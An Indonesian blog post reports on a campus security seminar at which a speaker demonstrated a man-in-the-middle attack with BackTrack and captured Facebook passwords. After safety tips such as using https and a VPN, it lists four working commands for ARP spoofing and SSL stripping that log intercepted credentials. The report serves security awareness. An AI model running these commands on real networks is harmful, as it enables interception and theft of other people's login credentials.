Skip to main content

Possibility Hacking: MitM Attack Menggunakan BackTrack

Ide awalnya saya ingin menulis ini saat acara berlangsung. Berhubung acaranya sangat menarik, membuat saya jadi tidak sempat untuk menulis langsung saat acara. Kebetulan saya juga ikut melakukan demo yang dilakukan nara sumber.

Seminar tentang keamanan yang diselenggarakan oleh Himpunan Mahasiswa Teknik Informatika UPN "Veteran" Yogyakarta menghadirkan 2 narasumber dari Komunitas BackTrack Indonesia, +Abrão Ximenes dan Hat Secure, +novizul evendi  . Topik yang disampaikan oleh Abrao selaku nara sumber pertama adalah tentang Man in the Middle (MitM) Attack. Di awal Abrao menjelaskan konsep dasar MitM Attack yang tanpa disadari oleh orang lain. Konsep dasar tersebut dapat Anda baca lebih lanjut di  http://www.ilmuhacking.com/basic-concept/mengenal-serangan-man-in-the-middle-mitm/.
Abrao Saat Menyampaikan Materi
Tidak sekedar mengupas atau menjelaskan konsep dasar Abrao mendemokan MitM Attack menggunakan BackTrack. Terlihat jelas saat mendemokan harus mempunyai kemampuan dasar tentang sistem operasi Linux karena BackTrack merupakan sistem operasi berbasis Linux. Dalam hal ini sistem operasi Ubuntu yang telah dikustomisasi untuk keamanan sistem dan jaringan komputer. Tidak lupa Abrao mengenalkan beberapa alat bantu yang tersedia di BackTrack.

Saat sesi demonstrasi, cukup mengagetkan dalam hitungan detik saat ada orang yang mengakses Facebook langsung tercatat password dari sang pengakses. Kebetulan Abrao telah menjalankan proses penyerangan dengan menggunakan alat bantu yang sudah tersedia di  sistem operasi BackTrack. Jika saat ini peserta membawa notebook bisa mencoba BackTrack secara langsung karena sudah disediakan CD BackTrack oleh panitia penyelenggara. 

Melihat demonstrasi tersebut membuat kita harus lebih waspada saat mengakses sebuah situs web. Abrao memberikan sarankan, supaya kita lebih berhati-hati dan cermat dalam mengakses situs web. Adapun sarannya sebagai berikut:
1. Memastikan konten dan alamat yang dituju menggunakan protokol  aman contohnya: https
2. Menggunakan komunikasi data pribadi seperti akses broadband atau 
3. Menggunakan Virtual Private Network.  
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo arpspoof -i wlan0 192.168.0.102 192.168.0.254
sudo sslstrip -a -w ~/fb.log
selamat membaca log




Labels:

Comments

Post a Comment

Popular posts from this blog

Saatnya Kalkun Mengirim SMS

Sebelumnya saya pernah menulis tentang mesin SMS menggunakan Gammu . Mesin SMS ini memang berencana untuk mendukung Kalkun sebagai Front-End dari Gammu yang berbasis web. Kalkun adalah manajemen SMS yang sederhana berbasis web dengan Gammu sebagai mesin SMS yang dapat mengirim dan menerima SMS dari modem/ponsel. Berhubung berbasis web saya sebagai pengguna sangat mudah mengatur dan menggunakan dalam suatu jaringan. Tidak perlu repot-repot dengan lokasi modem ditancapkan. Semuanya bisa saya atur dengan mudah. Kebetulan juga berjalan di sistem operasi Linux. Dalam implementasi Kalkun , saya menggunakan sistem operasi Ubuntu 9.10 dengan Apache2, MySQL v5.x dan PHP v5.x. Kalkun yang saya gunakan versi terakhir yaitu v0.1.4beta . Sedangkan Gammu yang digunakan v1.26.1 . Sebelum installasi Kalkun harap memastikan Gammu sudah terinstall dengan baik. Untuk tutorialnya dapat dicek di http://milisdad.blogspot.com/2009/12/mesin-sms-untuk-kalkun.html . Berikut tahapan installasi Kalkun :...
34 comments
Read more

Kesalahan Dispenser

Pada umumnya beberapa orang menyebut dispenser mengikuti istilah pada KBBI yaitu peranti elektronik yg secara otomatis dapat memanaskan dan mendinginkan air yang siap diminum. Ternyata ada istilah lain menurut KBBI yaitu mesin penjual atau mesin penyaji. 27 Desember 2013 saya melihat Anjungan Tunai Mandiri (ATM) dari Bank CIMB Niaga sepi dari antrian. Masuklah ke ruangan yang lebih besar dibanding ruang ATM lainnya. Berencana mengambil uang namun gagal, dicoba berulang-ulang ternyata masih gagal dengan pesan galat: Transaksi tidak dapat diproses karena kesalahan dispenser Pertama melihat pesan tersebut pasti merasa aneh, kok dispenser ngeluarin uang, air dong yang dikeluarkan . Termasuk saya yang merasa aneh dengan pesan galat tersebut. Merujuk KBBI saya masih merenungi arti dispenser yang digunakan Bank CIMB Niaga dalam mesin ATM.
Post a Comment
Read more

Mesin SMS untuk Kalkun

Sebelum memasak, bahan-bahan untuk memasak harus dipersiapkan. Salah satunya saya akan memasak Kalkun . Ternyata Kalkun ini memerlukan mesin untuk mengirim pesan singkat atau biasa disebut SMS. Pada awalnya mempersiapkannya saya fikir gampang karena hanya apt-get install . Ternyata tidak semudah itu. Tapi memerlukan repo lain. Aplikasi yang saya perlukan ada Gammu sebagai mesin sms untuk Kalkun . Dulu saya pernah membuat SMS Gateway untuk sebuah tabloid yang mempunyai slogan Kredibel Indepeden Market Leader . :D Kali ini berbeda, saya menggunakan Gammu . Berikut yang harus dipersiapkan, saya menggunakan Ubuntu 9.10 : 1. Buka terminal karena kita akan lebih sering mengetik :D 2. Ketikkan, echo "deb http://ppa.launchpad.net/nijel/ppa/ubuntu karmic main" | sudo tee -a /etc/apt/sources.list 3. Ketikkan, sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 06ED541C 4. Installasi Gammu dengan mengetikkan sudo apt-get update && sudo apt-get install gammu gammu...
35 comments
Read more